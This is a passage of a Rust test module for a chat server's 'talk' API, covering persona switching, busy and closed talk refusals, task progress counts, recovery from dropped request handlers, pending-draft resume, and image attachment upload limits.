14145        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14146        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14147        assert!(rei.avatar.contains("persona=rei&v="));
14148        assert_ne!(
14149            rei.avatar.split("&v=").nth(1),
14150            plain.avatar.split("&v=").nth(1)
14151        );
14152    }
14153
14154    #[tokio::test]
14155    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14156        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14157        let cfg = config_for(&repo).await.unwrap();
14158        for arrived in [false, true] {
14159            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14160            let observed = ui.queued_generation(&id);
14161            let talk = ui.talks.get(&id).unwrap();
14162            if arrived {
14163                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14164            }
14165            let mut settling = std::pin::pin!(settle_settings_turn(
14166                talk,
14167                ui.talks.clone(),
14168                cfg.clone(),
14169                id.clone(),
14170                turn,
14171                observed
14172            ));
14173            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14174            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14175            assert_eq!(first.is_pending(), arrived);
14176            if arrived {
14177                assert!(!settling.await);
14178            }
14179            assert!(!ui.is_thinking(&id));
14180        }
14181    }
14182
14183    #[tokio::test]
14184    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14185        let tmp = TempDir::new().expect("tempdir");
14186        let repo = tmp.path().join("repo");
14187        std::fs::create_dir_all(&repo).expect("repo dir");
14188        std::fs::write(
14189            repo.join("magi.toml"),
14190            format!(
14191                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14192            ),
14193        )
14194        .expect("write magi.toml");
14195        let home = TempDir::new().expect("temp home");
14196        let talks = Talks::at(home.path().join("talks"));
14197        let ui = Arc::new(
14198            Ui::new(
14199                Queue::at(home.path().join("queue")),
14200                Questions::at(home.path().join("questions")),
14201                talks.clone(),
14202                home.path().join("runs"),
14203                home.path().to_path_buf(),
14204                repo.clone(),
14205            )
14206            .with_worktrees_root(home.path().join("wt")),
14207        );
14208        let cfg = config_for(&repo).await.expect("discover config");
14209        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14210        let id = talk.id.clone();
14211        let call = |persona: &str| {
14212            talk_persona(
14213                State(Arc::clone(&ui)),
14214                Path(id.clone()),
14215                Json(TalkPersona {
14216                    persona: persona.to_owned(),
14217                }),
14218            )
14219        };
14220
14221        let unknown = call("nobody").await.expect_err("unknown persona");
14222        assert_eq!(
14223            unknown.status,
14224            StatusCode::BAD_REQUEST,
14225            "{}",
14226            unknown.message
14227        );
14228
14229        {
14230            // Nothing refused so far took a claim, so the guard is free to take
14231            // and holding it is what makes the talk busy.
14232            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14233            let busy = call("rei").await.expect_err("busy talk");
14234            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14235            assert!(
14236                busy.message.contains("a talk turn is running"),
14237                "{}",
14238                busy.message
14239            );
14240            drop(guard);
14241        }
14242        assert_eq!(talks.get(&id).expect("reload").persona, "");
14243
14244        let Json(view) = call("gendo").await.expect("switch to a configured persona");
14245        assert_eq!(view.talk.persona, "gendo");
14246        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14247        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14248        // No intervening I/O or sleep may be needed before another change.
14249        for chosen in ["default", "gendo", "rei", "gendo"] {
14250            let Json(view) = call(chosen).await.expect("immediate consecutive change");
14251            assert!(!view.thinking);
14252            assert!(!ui.is_thinking(&id));
14253        }
14254
14255        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14256            .await
14257            .expect("detail");
14258        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14259        assert_eq!(ids.first(), Some(&"default"));
14260        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14261
14262        let Json(view) = call("default").await.expect("back to default");
14263        assert_eq!(view.talk.persona, "");
14264
14265        let mut closed = talks.get(&id).expect("reload");
14266        talk::close(&mut closed, &talks).expect("close");
14267        let refused = call("rei").await.expect_err("closed talk");
14268        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14269        assert!(
14270            refused.message.contains("takes no more turns"),
14271            "{}",
14272            refused.message
14273        );
14274    }
14275
14276    #[tokio::test]
14277    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14278        let f = Fixture::start().await;
14279        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14280        let queue = f.queue();
14281        let mut mine = Task::new(
14282            "rename the loader".to_owned(),
14283            "rename the loader".to_owned(),
14284            PathBuf::from("/repo/magi"),
14285            Source::Agent {
14286                run: talk_id.clone(),
14287                node: "chat".to_owned(),
14288            },
14289        );
14290        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
14291        assert_eq!(empty["task_progress"]["state"], "none");
14292        assert_eq!(empty["task_progress"]["total"], 0);
14293        queue.put(&mut mine).expect("file the task");
14294        let mut theirs = Task::new(
14295            "unrelated".to_owned(),
14296            "unrelated".to_owned(),
14297            PathBuf::from("/repo/magi"),
14298            Source::Human,
14299        );
14300        // A later task linked through origin_chat alone is outside this list.
14301        theirs.origin_chat = Some(talk_id.clone());
14302        queue.put(&mut theirs).expect("file the task");
14303
14304        let res = f.get(&format!("/api/talks/{talk_id}")).await;
14305        assert_eq!(res.status, 200, "{}", res.body);
14306        let body = res.json();
14307        assert_eq!(
14308            body["status"], "open",
14309            "filing a task does not close a talk"
14310        );
14311        let tasks = body["tasks"].as_array().expect("tasks array");
14312        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
14313        assert_eq!(tasks[0]["id"], mine.id);
14314        for status in [
14315            TaskStatus::Queued,
14316            TaskStatus::Running,
14317            TaskStatus::Held,
14318            TaskStatus::Failed,
14319            TaskStatus::Blocked,
14320            TaskStatus::Parked,
14321            TaskStatus::Done,
14322            TaskStatus::Queued,
14323        ] {
14324            mine.status = status;
14325            queue.put(&mut mine).expect("update status");
14326            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
14327            let progress = &detail["task_progress"];
14328            assert_eq!(progress["total"], 1);
14329            assert_eq!(progress["counts"][status.as_str()], 1);
14330            assert_eq!(detail["tasks"][0]["status"], status.as_str());
14331            assert_eq!(detail["status"], "open", "completion never closes the chat");
14332            if status == TaskStatus::Done {
14333                assert_eq!(progress["state"], "complete");
14334                assert_eq!(progress["done"], 1);
14335                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
14336            } else {
14337                assert_eq!(progress["state"], "incomplete");
14338                assert_eq!(progress["done"], 0);
14339                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
14340            }
14341        }
14342    }
14343
14344    #[test]
14345    fn talk_task_progress_counts_mixed_statuses() {
14346        let mut tasks: Vec<_> = [
14347            TaskStatus::Queued,
14348            TaskStatus::Running,
14349            TaskStatus::Held,
14350            TaskStatus::Failed,
14351            TaskStatus::Blocked,
14352            TaskStatus::Parked,
14353            TaskStatus::Done,
14354        ]
14355        .into_iter()
14356        .map(|status| {
14357            let mut task = Task::new(
14358                "task".into(),
14359                "task".into(),
14360                PathBuf::from("/repo"),
14361                Source::Human,
14362            );
14363            task.status = status;
14364            task
14365        })
14366        .collect();
14367        let progress = talk_task_progress(&tasks);
14368        assert_eq!(progress.state, "incomplete");
14369        assert_eq!(progress.total, 7);
14370        assert_eq!(progress.done, 1);
14371        assert_eq!(progress.unfinished_ids.len(), 6);
14372        assert!(progress.counts.values().all(|count| *count == 1));
14373        assert_eq!(
14374            progress.unfinished_ids,
14375            tasks[..6]
14376                .iter()
14377                .map(|task| task.id.clone())
14378                .collect::<Vec<_>>()
14379        );
14380
14381        for task in &mut tasks {
14382            task.status = TaskStatus::Done;
14383        }
14384        let complete = talk_task_progress(&tasks);
14385        assert_eq!(complete.state, "complete");
14386        assert_eq!(complete.done, 7);
14387        assert!(complete.unfinished_ids.is_empty());
14388        tasks[0].status = TaskStatus::Queued;
14389        let requeued = talk_task_progress(&tasks);
14390        assert_eq!(requeued.state, "incomplete");
14391        assert_eq!(requeued.done, 6);
14392        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
14393
14394        let empty = talk_task_progress(&[]);
14395        assert_eq!(empty.state, "none");
14396        assert_eq!(empty.total, 0);
14397        assert_eq!(empty.done, 0);
14398        assert!(empty.unfinished_ids.is_empty());
14399        assert!(empty.counts.values().all(|count| *count == 0));
14400    }
14401
14402    #[tokio::test]
14403    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
14404        let (_tmp, _repo, f) = talk_fixture().await;
14405        let id = f.post("/api/talks", None).await.json()["id"]
14406            .as_str()
14407            .expect("id")
14408            .to_owned();
14409
14410        let res = f
14411            .post(
14412                &format!("/api/talks/{id}/say"),
14413                Some(r#"{"text":"what does the queue module do?"}"#),
14414            )
14415            .await;
14416        assert_eq!(res.status, 202, "{}", res.body);
14417        let queued = res.json();
14418        let turns = queued["turns"].as_array().expect("turns array");
14419        assert_eq!(
14420            turns.len(),
14421            1,
14422            "the answer reflects only what is on disk the instant it is sent, \
14423             before the agent's turn - which can run for the whole of \
14424             `[graph] timeout_talk` - has a chance to land: {queued}"
14425        );
14426        assert_eq!(turns[0]["who"], "operator");
14427        assert_eq!(turns[0]["body"], "what does the queue module do?");
14428        assert_eq!(
14429            queued["thinking"], true,
14430            "the accepted response exposes the background turn claim: {queued}"
14431        );
14432
14433        let mut turns_after = 1;
14434        for _ in 0..SETTLE_STEPS {
14435            let detail = f.get(&format!("/api/talks/{id}")).await.json();
14436            turns_after = detail["turns"].as_array().expect("turns array").len();
14437            if turns_after == 2 {
14438                break;
14439            }
14440            tokio::time::sleep(Duration::from_millis(10)).await;
14441        }
14442        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
14443    }
14444
14445    /// A phone that reloads mid-request drops `talk_say`'s whole handler
14446    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
14447    /// guards against: `talk::record` used to return, and only *then* did the
14448    /// handler make a second, separate disk round trip before spawning the
14449    /// agent's reply task. A future dropped in that gap left a message
14450    /// recorded on disk with no reply task ever started and no way back short
14451    /// of a fresh message - and the gap was not even the whole story: *any*
14452    /// `.await` in this handler, including the very first one, is a point
14453    /// where a drop can land after the awaited work already finished but
14454    /// before this handler's own code resumes to act on it. `record` now
14455    /// runs inside the task `tokio::spawn` hands to the runtime before this
14456    /// handler ever awaits anything of its own again, so there is nothing
14457    /// left in *this* handler's future for a disconnect to interrupt between
14458    /// the message landing on disk and the reply task starting.
14459    ///
14460    /// A real socket disconnect cannot be relied on to land in the old gap
14461    /// from a test - over loopback, `talk_say` typically finishes before the
14462    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
14463    /// same failure mode directly: it drops the task's future at whatever
14464    /// point it has reached, exactly what axum does to the handler future,
14465    /// without needing to win a real network race. Sweeping the delay before
14466    /// aborting samples a range of points the task's execution can be at,
14467    /// including where the old code sat waiting on its second disk round
14468    /// trip - confirmed by reverting this fix locally and watching this same
14469    /// sweep catch a talk stuck with the operator's turn recorded and no
14470    /// reply ever following.
14471    #[tokio::test]
14472    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
14473        let tmp = TempDir::new().expect("tempdir");
14474        let repo = tmp.path().join("repo");
14475        std::fs::create_dir_all(&repo).expect("repo dir");
14476        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14477        let home = TempDir::new().expect("temp home");
14478        let talks = Talks::at(home.path().join("talks"));
14479        let ui = Arc::new(
14480            Ui::new(
14481                Queue::at(home.path().join("queue")),
14482                Questions::at(home.path().join("questions")),
14483                talks.clone(),
14484                home.path().join("runs"),
14485                home.path().to_path_buf(),
14486                repo.clone(),
14487            )
14488            .with_worktrees_root(home.path().join("wt")),
14489        );
14490        let cfg = config_for(&repo).await.expect("discover config");
14491
14492        for delay in 0..40u32 {
14493            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14494            let id = talk.id.clone();
14495
14496            let handler = tokio::spawn(talk_say(
14497                State(Arc::clone(&ui)),
14498                Path(id.clone()),
14499                Ok(Json(NewTalkTurn {
14500                    reply_to: None,
14501                    text: "what does the queue module do?".to_owned(),
14502                    attachments: Vec::new(),
14503                })),
14504            ));
14505            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
14506            handler.abort();
14507            // Wait out the abort so the next iteration's talk does not race
14508            // this one's still-unwinding turn guard.
14509            let _ = handler.await;
14510
14511            let mut turns = 0;
14512            for _ in 0..SETTLE_STEPS {
14513                if let Ok(fresh) = talks.get(&id) {
14514                    turns = fresh.turns.len();
14515                    if turns != 1 {
14516                        break;
14517                    }
14518                }
14519                tokio::time::sleep(Duration::from_millis(10)).await;
14520            }
14521            assert_ne!(
14522                turns, 1,
14523                "delay {delay}: talk {id} recorded the operator's turn but \
14524                 the agent never answered - the reply task was never \
14525                 started after the handler future was dropped"
14526            );
14527        }
14528    }
14529
14530    /// The same drop, landing on `talk_say`'s other durable write.
14531    ///
14532    /// When a turn is already running, the busy branch persists the
14533    /// operator's text as a queued draft and then reclaims the turn slot if
14534    /// the holder gave it up in the meantime - and whoever reclaims owes that
14535    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
14536    /// which finishes whether or not the future awaiting it is still there,
14537    /// so a handler dropped at that `.await` used to leave the draft written
14538    /// to disk with the reclaimed guard dropped unread and no drainer ever
14539    /// started: the message sat queued until some unrelated later `say`
14540    /// happened to pick it up.
14541    ///
14542    /// This used to drive the handler future by hand, polling it a fixed
14543    /// number of times to park it at the `.await` where it asks for the turn
14544    /// and finds it busy, before the reclaim's slot-free case could be set up
14545    /// underneath it. That assumed a fixed number of polls lands at a fixed
14546    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
14547    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
14548    /// poll, so any number of this handler's several `blocking` awaits can
14549    /// collapse into one poll under load, landing the drive somewhere other
14550    /// than intended - including, occasionally, straight past the handler's
14551    /// own completion, which made polling it again panic with "async fn
14552    /// resumed after completion". No poll count fixes that; the handler's
14553    /// progress simply is not something a caller outside it can observe by
14554    /// counting.
14555    ///
14556    /// [`BusyQueueGate`] replaces the poll count with a real stop point
14557    /// inside the write itself, so the interleaving under test is pinned by
14558    /// an event instead of a guess: the gate fires only once the handler has
14559    /// actually decided `Busy` and is about to persist the draft, and it
14560    /// blocks that write until the test lets it through. Between those two
14561    /// moments the test drains the turn the handler found busy - through
14562    /// `drain_loop`, the protocol's other half - and then aborts the handler
14563    /// task outright, the same way axum drops a disconnected request's
14564    /// future. The write, and the reclaim it may do, run to completion
14565    /// regardless: they live in the `tokio::spawn` task the busy branch hands
14566    /// to the runtime before ever touching the gate, wholly independent of
14567    /// whether the handler that started it is still around - which is what
14568    /// this test is actually checking. A drainer other than that reclaim
14569    /// cannot exist here: the test's own `drain_loop` call happens before the
14570    /// gate opens, so it runs while the queue is still empty and hands the
14571    /// turn straight back rather than draining anything, closing off the
14572    /// possibility of the final assertion passing without the reclaim ever
14573    /// having done its job.
14574    #[tokio::test]
14575    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
14576        let tmp = TempDir::new().expect("tempdir");
14577        let repo = tmp.path().join("repo");
14578        std::fs::create_dir_all(&repo).expect("repo dir");
14579        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14580        let home = TempDir::new().expect("temp home");
14581        let talks = Talks::at(home.path().join("talks"));
14582        let ui = Arc::new(
14583            Ui::new(
14584                Queue::at(home.path().join("queue")),
14585                Questions::at(home.path().join("questions")),
14586                talks.clone(),
14587                home.path().join("runs"),
14588                home.path().to_path_buf(),
14589                repo.clone(),
14590            )
14591            .with_worktrees_root(home.path().join("wt")),
14592        );
14593        let cfg = config_for(&repo).await.expect("discover config");
14594
14595        for attempt in 0..3u32 {
14596            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14597            let id = talk.id.clone();
14598            // A turn is already running, which is what sends `talk_say` down
14599            // the busy branch.
14600            let turn_guard = ui
14601                .begin_talk_turn(&id)
14602                .expect("claim the turn")
14603                .expect("a fresh talk owes nobody a turn");
14604
14605            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
14606            let (release_tx, release_rx) = std::sync::mpsc::channel();
14607            ui.set_busy_queue_gate(BusyQueueGate {
14608                reached: reached_tx,
14609                release: release_rx,
14610            });
14611
14612            let handler = tokio::spawn(talk_say(
14613                State(Arc::clone(&ui)),
14614                Path(id.clone()),
14615                Ok(Json(NewTalkTurn {
14616                    reply_to: None,
14617                    text: "what does the queue module do?".to_owned(),
14618                    attachments: Vec::new(),
14619                })),
14620            ));
14621
14622            // Wait for the busy branch to actually reach the gate, rather
14623            // than for any fixed number of polls of anything - a bounded
14624            // wait rather than a bare `.await` so a regression that never
14625            // reaches the gate fails the test instead of hanging it.
14626            tokio::time::timeout(Duration::from_secs(5), reached_rx)
14627                .await
14628                .unwrap_or_else(|_| {
14629                    panic!(
14630                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
14631                    )
14632                })
14633                .expect("the busy branch dropped the gate without using it");
14634
14635            // The turn that was running now finishes and gives the slot up
14636            // the way a real one does - through `drain_loop`, which finds
14637            // nothing queued yet (the write is still held at the gate) and
14638            // releases. The handler, parked inside `spawn_blocking` on the
14639            // other side of the gate, still believes the talk is busy -
14640            // exactly the interleaving the reclaim exists for.
14641            let running = talks.get(&id).expect("reload talk");
14642            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
14643
14644            // Drop the handler future now, the way a reloading phone drops
14645            // it: suspended waiting on the busy branch's answer, having
14646            // itself made no more progress since it handed the write off.
14647            handler.abort();
14648            let _ = handler.await;
14649
14650            // Only now let the gated write proceed. It persists the draft
14651            // and reclaims the now-free slot from inside the task the busy
14652            // branch already spawned - unaffected by the handler's abort
14653            // above, since that task was independent of the handler's own
14654            // future from the moment it was spawned.
14655            let _ = release_tx.send(());
14656
14657            // A settled talk: the draft drained into an operator turn and
14658            // answered.
14659            let mut fresh = talks.get(&id).expect("reload talk");
14660            for _ in 0..SETTLE_STEPS {
14661                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
14662                    break;
14663                }
14664                tokio::time::sleep(Duration::from_millis(10)).await;
14665                fresh = talks.get(&id).expect("reload talk");
14666            }
14667            assert!(
14668                fresh.pending.is_empty() && fresh.turns.len() == 2,
14669                "attempt {attempt}: talk {id} left the operator's text queued \
14670                 with no drainer - the reclaimed turn was dropped along with \
14671                 the handler future (pending {:?}, {} turns)",
14672                fresh.pending,
14673                fresh.turns.len()
14674            );
14675        }
14676    }
14677
14678    #[tokio::test]
14679    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
14680        let (_tmp, _repo, f) = talk_fixture().await;
14681        let id = f.post("/api/talks", None).await.json()["id"]
14682            .as_str()
14683            .expect("id")
14684            .to_owned();
14685        let store = f.talks();
14686        let mut recovered = store.get(&id).expect("opened talk");
14687        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14688            .expect("persist pending draft without a live turn");
14689
14690        let edited = f
14691            .post(
14692                &format!("/api/talks/{id}/pending/edit"),
14693                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
14694            )
14695            .await;
14696        assert_eq!(edited.status, 200, "{}", edited.body);
14697        assert!(edited.json()["thinking"].as_bool().unwrap());
14698
14699        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
14700        for _ in 0..SETTLE_STEPS {
14701            if detail["turns"].as_array().expect("turns").len() == 2 {
14702                break;
14703            }
14704            tokio::time::sleep(Duration::from_millis(10)).await;
14705            detail = f.get(&format!("/api/talks/{id}")).await.json();
14706        }
14707        let turns = detail["turns"].as_array().expect("turns");
14708        assert_eq!(
14709            turns.len(),
14710            2,
14711            "the recovered draft must run once: {detail}"
14712        );
14713        assert_eq!(turns[0]["body"], "corrected");
14714        assert_eq!(detail["pending"], "");
14715    }
14716
14717    #[tokio::test]
14718    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
14719        let tmp = TempDir::new().expect("tempdir");
14720        let repo = tmp.path().join("repo");
14721        std::fs::create_dir_all(&repo).expect("repo dir");
14722        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
14723        let f = Fixture::with_repo(repo).await;
14724        let id = f.post("/api/talks", None).await.json()["id"]
14725            .as_str()
14726            .expect("id")
14727            .to_owned();
14728        let store = f.talks();
14729        let mut recovered = store.get(&id).expect("opened talk");
14730        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14731            .expect("persist pending draft without a live turn");
14732
14733        let refused = f
14734            .post(
14735                &format!("/api/talks/{id}/say"),
14736                Some(r#"{"text":"new message"}"#),
14737            )
14738            .await;
14739        assert_eq!(refused.status, 409, "{}", refused.body);
14740        assert!(refused.body.contains("resume"), "{}", refused.body);
14741        let saved = store.get(&id).expect("draft remains after refusal");
14742        assert!(saved.turns.is_empty());
14743        assert_eq!(saved.pending, "saved before restart");
14744
14745        let say_path = format!("/api/talks/{id}/say");
14746        let (first, second) = tokio::join!(
14747            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
14748            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
14749        );
14750        assert_eq!(first.status, 409, "{}", first.body);
14751        assert_eq!(second.status, 409, "{}", second.body);
14752        let saved = store
14753            .get(&id)
14754            .expect("draft remains after concurrent refusals");
14755        assert!(saved.turns.is_empty());
14756        assert_eq!(saved.pending, "saved before restart");
14757
14758        let resumed = f
14759            .post(&format!("/api/talks/{id}/pending/resume"), None)
14760            .await;
14761        assert_eq!(resumed.status, 202, "{}", resumed.body);
14762        let duplicate = f
14763            .post(&format!("/api/talks/{id}/pending/resume"), None)
14764            .await;
14765        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
14766
14767        for _ in 0..SETTLE_STEPS {
14768            if store.get(&id).expect("talk").turns.len() == 2 {
14769                break;
14770            }
14771            tokio::time::sleep(Duration::from_millis(10)).await;
14772        }
14773        let finished = store.get(&id).expect("finished talk");
14774        assert_eq!(finished.turns.len(), 2, "{finished:?}");
14775        assert_eq!(finished.turns[0].body, "saved before restart");
14776        assert!(finished.pending.is_empty());
14777    }
14778
14779    #[tokio::test]
14780    async fn an_image_only_recovered_draft_resumes_without_text() {
14781        let (_tmp, _repo, f) = talk_fixture().await;
14782        let id = f.post("/api/talks", None).await.json()["id"]
14783            .as_str()
14784            .expect("id")
14785            .to_owned();
14786        let uploaded = f
14787            .post_bytes(
14788                &format!("/api/talks/{id}/attachments"),
14789                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
14790                PNG_BYTES,
14791            )
14792            .await;
14793        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
14794        let attachment = f
14795            .talks()
14796            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
14797            .expect("attachment metadata")
14798            .expect("stored attachment");
14799        let store = f.talks();
14800        let mut recovered = store.get(&id).expect("opened talk");
14801        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
14802
14803        let resumed = f
14804            .post(&format!("/api/talks/{id}/pending/resume"), None)
14805            .await;
14806        assert_eq!(resumed.status, 202, "{}", resumed.body);
14807        for _ in 0..SETTLE_STEPS {
14808            if store.get(&id).expect("talk").turns.len() == 2 {
14809                break;
14810            }
14811            tokio::time::sleep(Duration::from_millis(10)).await;
14812        }
14813        let finished = store.get(&id).expect("finished talk");
14814        assert_eq!(finished.turns.len(), 2, "{finished:?}");
14815        assert!(finished.turns[0].body.is_empty());
14816        assert_eq!(finished.turns[0].attachments.len(), 1);
14817        assert!(finished.pending_attachments.is_empty());
14818    }
14819
14820    #[tokio::test]
14821    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
14822        let (_tmp, _repo, f) = talk_fixture().await;
14823        let id = f.post("/api/talks", None).await.json()["id"]
14824            .as_str()
14825            .expect("id")
14826            .to_owned();
14827        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
14828        assert_eq!(closed.status, 200, "{}", closed.body);
14829        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
14830            .expect("serialize closed talk");
14831        for (path, body) in [
14832            (format!("/api/talks/{id}/pending/resume"), None),
14833            (
14834                format!("/api/talks/{id}/pending/clear"),
14835                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
14836            ),
14837            (
14838                format!("/api/talks/{id}/pending/edit"),
14839                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
14840            ),
14841            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
14842        ] {
14843            let response = f.post(&path, body).await;
14844            assert_eq!(response.status, 409, "{}", response.body);
14845        }
14846        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
14847            .expect("serialize closed talk");
14848        assert_eq!(
14849            after_clear, before_clear,
14850            "clear must not rewrite a closed talk"
14851        );
14852    }
14853
14854    /// Keeps both claims observable long enough to exercise the distinction
14855    /// between one busy talk and a globally locked Chat surface.
14856    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
14857
14858    #[tokio::test]
14859    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
14860        let tmp = TempDir::new().expect("tempdir");
14861        let repo = tmp.path().join("repo");
14862        std::fs::create_dir_all(&repo).expect("repo dir");
14863        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
14864        let f = Fixture::with_repo(repo).await;
14865        let id_a = f.post("/api/talks", None).await.json()["id"]
14866            .as_str()
14867            .unwrap()
14868            .to_owned();
14869        let id_b = f.post("/api/talks", None).await.json()["id"]
14870            .as_str()
14871            .unwrap()
14872            .to_owned();
14873
14874        let a = f
14875            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
14876            .await;
14877        assert_eq!(a.status, 202, "{}", a.body);
14878        assert_eq!(a.json()["thinking"], true);
14879        let b = f
14880            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
14881            .await;
14882        assert_eq!(b.status, 202, "{}", b.body);
14883        assert_eq!(b.json()["thinking"], true);
14884
14885        let listed = f.get("/api/talks").await.json();
14886        for id in [&id_a, &id_b] {
14887            let view = listed
14888                .as_array()
14889                .unwrap()
14890                .iter()
14891                .find(|talk| talk["id"] == *id)
14892                .unwrap();
14893            assert_eq!(view["thinking"], true, "{listed}");
14894        }
14895        let repeated = f
14896            .post(
14897                &format!("/api/talks/{id_a}/say"),
14898                Some(r#"{"text":"again"}"#),
14899            )
14900            .await;
14901        assert_eq!(repeated.status, 202, "{}", repeated.body);
14902        assert_eq!(repeated.json()["pending"], "again");
14903    }
14904
14905    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
14906    /// few more, since real uploads are never exactly eight bytes.
14907    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
14908
14909    #[tokio::test]
14910    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
14911        let f = Fixture::start().await;
14912        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
14913
14914        let res = f
14915            .post_bytes(
14916                &format!("/api/talks/{id}/attachments"),
14917                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
14918                PNG_BYTES,
14919            )
14920            .await;
14921        assert_eq!(res.status, 201, "{}", res.body);
14922        let body = res.json();
14923        assert_eq!(body["name"], "shot.png");
14924        assert_eq!(body["mime"], "image/png");
14925        assert_eq!(body["bytes"], PNG_BYTES.len());
14926        let att_id = body["id"].as_str().expect("id").to_owned();
14927        assert_eq!(
14928            att_id.len(),
14929            32,
14930            "the id must never be a client-suppliable path: {att_id}"
14931        );
14932
14933        let got = f
14934            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
14935            .await;
14936        assert_eq!(got.status, 200, "{}", got.body);
14937        assert_eq!(got.header("content-type"), Some("image/png"));
14938        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
14939        assert_eq!(got.bytes, PNG_BYTES);
14940    }
14941
14942    #[tokio::test]
14943    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
14944        let f = Fixture::start().await;
14945        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
14946
14947        // SVG can carry a `<script>`, so it is never on the whitelist even
14948        // though it is a real IANA image type.
14949        let svg = f
14950            .post_bytes(
14951                &format!("/api/talks/{id}/attachments"),
14952                &[("Content-Type", "image/svg+xml")],
14953                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
14954            )
14955            .await;
14956        assert!(
14957            (400..500).contains(&svg.status),
14958            "svg must be refused: {} {}",
14959            svg.status,
14960            svg.body
14961        );
14962        assert!(svg.body.contains("SVG"), "{}", svg.body);
14963
14964        let text = f
14965            .post_bytes(
14966                &format!("/api/talks/{id}/attachments"),
14967                &[("Content-Type", "text/plain")],
14968                b"just some text",
14969            )
14970            .await;
14971        assert!(
14972            (400..500).contains(&text.status),
14973            "an unlisted type must be refused: {} {}",
14974            text.status,
14975            text.body
14976        );
14977
14978        // The declared type is a real png, but the size check runs before
14979        // the bytes are even looked at.
14980        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
14981        let big = f
14982            .post_bytes(
